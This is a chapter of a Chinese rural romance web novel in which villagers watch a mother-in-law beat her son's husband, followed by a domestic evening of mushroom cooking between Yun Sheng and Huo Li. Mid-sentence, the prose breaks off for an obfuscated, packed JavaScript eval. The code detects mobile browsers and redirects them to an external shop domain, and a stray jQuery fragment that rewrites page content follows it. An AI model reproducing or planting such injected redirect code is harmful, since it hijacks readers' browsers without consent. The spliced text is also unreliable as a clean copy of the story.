正是傍晚收活的时候,有扛着锄头的,有挑着竹筐的,还有去地里摘菜的。
听见霍家院子里传出的打骂声,都不由地停下来多看几眼。
“发生什么了?那霍家的怎么又在打骂柳哥儿?”
“好像是霍荣今天回来,周荷香去买肉,发现家里的钱少了,说是柳哥儿偷的。”
“柳哥儿胆子这么小,怎么可能做这种事。”
“可不是吗,我看啊,就是周荷香自个儿弄丢的,还把气撒在柳哥儿身上。”
“柳哥儿真是可怜,自打嫁来了霍家,就没过一天好日子。”
村里人都知道周荷香对儿夫郎不好,这会儿见她又在打骂柳哥儿,自然而然觉得她是在借柳哥儿出气。
院子里,周荷香听了旁人那些话,心里更是来气,抄起扫帚便往柳哥儿身上招呼。
柳哥儿双手抱着头躲开,周荷香又追上去,惹得院里一阵鸡飞狗跳。
“还敢躲,我让你偷钱!你个懒皮子,我看你是活腻了!我打死你!”
柳哥儿躲着她在前面跑,周荷香拿着扫帚在后面追,追到墙角对他又掐又打。
柳哥儿抬着手臂挡在头上,没有地方可躲,一头钻进旁边的鸡圈里。
鸡鸭们受到惊吓,扑棱着翅膀四散奔逃,院子里乱成一团。
有个婶子看不下去,怕真打出人命来,忍不住出声劝了句。
“好歹是娶进门的夫郎,再怎么都是一家人,打也打了,骂也骂了,就算了吧。”
周荷香正在气头上,哪儿听得进去这话。
而且刚才他们说的她都听见了,明明是柳哥儿偷了钱,竟说她是在栽赃。
“算什么算,我打我儿夫郎,关你什么事!”
“嫁进来这么多年,吃我家的穿我家的,连鸡都能下蛋,就他肚里没动静,没休了他已经不错了!”
周荷香正杵着扫帚叉腰骂着,看见院子外来看热闹的霍菱和云笙,心中怒气更甚。
知道他们是来看笑话的,指桑骂槐起来:“早知道是这种生不出来的哥儿,我家才不会娶他,我可不像某些人,把不会生的哥儿当个宝!”
院外,看到躲进鸡圈的柳哥儿,云笙忍不住皱了皱眉。
他本没想来看热闹,是被霍菱硬拉来的。
霍菱听出周荷香话外的意思,嘁了一声:“谁说生不了就是哥儿肚子不争气,没准儿是汉子不中用。”
说着又对云笙道:“别听她说的那些瞎话。”
旁边的夫郎跟着不服气应和:“就是,有钱别娶哥儿啊,还不是没钱,又看上人家嫁妆,这会儿倒嫌弃上了。”
村里谁不知道,周荷香当年是看人家柳哥儿嫁妆丰厚,如今柳哥儿娘家没人了,便使劲儿磋磨人。
说什么没把人休了就不错了,还不是没多余的钱再娶新的。
那霍荣也不是个什么好的,说得好听是在镇上做活,实则天天不着家。
真要把柳哥儿休了,上哪儿再找这样的夫郎,每天埋头干活任打任骂还不吭声。
周荷香自然听见了霍菱的话,正要骂回去,这时,一道粗重冷厉的嗓音打断了她。
“又在这儿干什么,叫你去买肉,骂什么骂,一天天不知道消停。”
霍观海刚从地里干活回来,就见门口围满了人看热闹,脸上顿时一阵铁青。
他身后跟着个年轻汉子,看着一副吊儿郎当的模样,见他爹扛着锄头走路一瘸一拐,也不知道帮忙扛一下。
进了院子,霍观海便把门关了,也不顾院外看热闹的人。
院里断断续续传来哭骂声,好像是周荷香在骂霍观海,一会儿哭自己嫁了个瘸子,一会儿又骂霍观海没用。
看不见热闹,院外围观的人自然也跟着散了。
再怎么可怜柳哥儿,那也是别人家的家事,旁人也插不了手。
再说了,谁又知道那钱到底是不是柳哥儿偷的。
-
辘轳缓缓转动着,云笙从井里打了桶水,倒进木盆里。
地上放着几个竹筛子,他一边洗着捡回来的菌子,一边把洗干净的菌子放进竹筛里。
隔壁院子已经没了动静,周荷香的骂声也停了,不知道那个柳哥儿现在怎么样。
想到柳哥儿,云笙隐隐有些走神。
哪怕柳哥儿的爹爹为他准备了那么多嫁妆,到头来柳哥儿还是碰上了这样的人家。
这么想着,他不禁有些害怕。
若是有一天他不得不嫁人,不知道会碰到一个什么样的汉子。
想着想着,他又想到了霍黎,想起那张冷俊硬朗的脸,耳根微微发烫。
霍黎会给他买衣裳买澡豆,会给他烧水倒水,还会夸他做的饭好吃。
若是让他必须挑一个汉子,他一定会挑霍黎。
正走神想着,头顶冷不丁传来霍黎的声音:“又去捡菌子了?”
云笙被他吓了一跳,旋即回过神来,稳了稳神色,点了下头。
他刚才想得出神,连霍黎什么时候回来了都不知道。
思及方才所想,这会儿又看到近在眼前的霍黎,云笙只觉得耳根更烫了。
霍黎把大黑牵进草棚里,从他身旁走过,提醒说:“山上蛇虫多,记得小心些。”
云笙埋着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758508|209000||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
发烫的脸,继续洗着菌子:“菱哥儿带我去的,还给我撒了驱虫的药粉。”
霍黎回了句那就行,喂完大黑草料,过来帮他把装满菌子的竹筛子端到木架上晾着。
为了晒菜干,每家每户都会做个木架,一个木架能放很多个竹筛子,晾晒更方便,有时候连木架也放不下,便放到屋顶上去。
这会儿太阳快下山了,他先放在木架上晾晾,等明个儿再拿出去晒。
云笙洗完菌子,霍黎也把竹筛子晾完了,顺道把木板车推进草棚里。
霍黎从木板车上提下来一块肉:“我带了块肉回来,今晚吃什么?”
云笙看了眼木盆里剩下的菌子,说:“菌子肉片汤怎么样?”
霍黎点头:“行。”
捡回来的菌子不全都是好的,有的菌盖和菌把分开了,有的挖的时候不小心挖断了,还有的一半好一半坏。
云笙打算用猪油炒一碗菌片,再煮一碗菌子肉片汤,剩下的熬一罐鸡枞油。
鸡枞油能存放很久,下面条时放上一勺,面汤又鲜又香。
肉片汤没丸子汤那么麻烦,把肉切成薄薄的片,加入红薯淀粉抓匀,等汤煮沸了放进去就行。
那天捡的菌子都拿去卖了,这还是头次喝到菌子汤,云笙舀进碗里尝了一下,味道格外鲜美。
晚上没蒸米饭,他热了几个杂馒头,乡下人家常会做一锅馒头,没做饭时便用馒头配上菜吃。
饭后还是霍黎洗碗烧水。
浴桶很大,要提几桶热水才能装满,霍黎提完水没走,而是摸出新买的澡豆拿给小哥儿。
“今儿镇上买的。”
那晚云笙说还剩下几颗,他便记在了心上,想着反正也要用,今天顺道去了趟镇上的铺子。
铺子老板说他上回买的货没了,他于是买了另一种香味,上次没闻,这次闻了下,味道也挺好闻。
最近用了澡豆,每晚洗了澡身上都是香的,而且香味持续很久。
没有小哥儿不喜欢香香的,云笙也一样。
云笙接过新买的澡豆闻了闻,是一股淡淡的桂花香,眼睛微微一亮,看着霍黎说了声谢谢。
干活时为了方便,他把袖子挽了起来,露出来的手腕纤细白皙。
小哥儿眸子水润润的,白皙细腻的肌肤染着点点粉意,饱满红润的唇瓣半张半合。
霍黎只看了一眼,便旋即移开了视线。
总感觉小哥儿最近有点不太一样,可哪里不一样,他又说不上来。
好像只要闻到小哥儿身上的那股甜香,他的心里便会莫名生起一股燥热,想要离他更近一些、再近一些。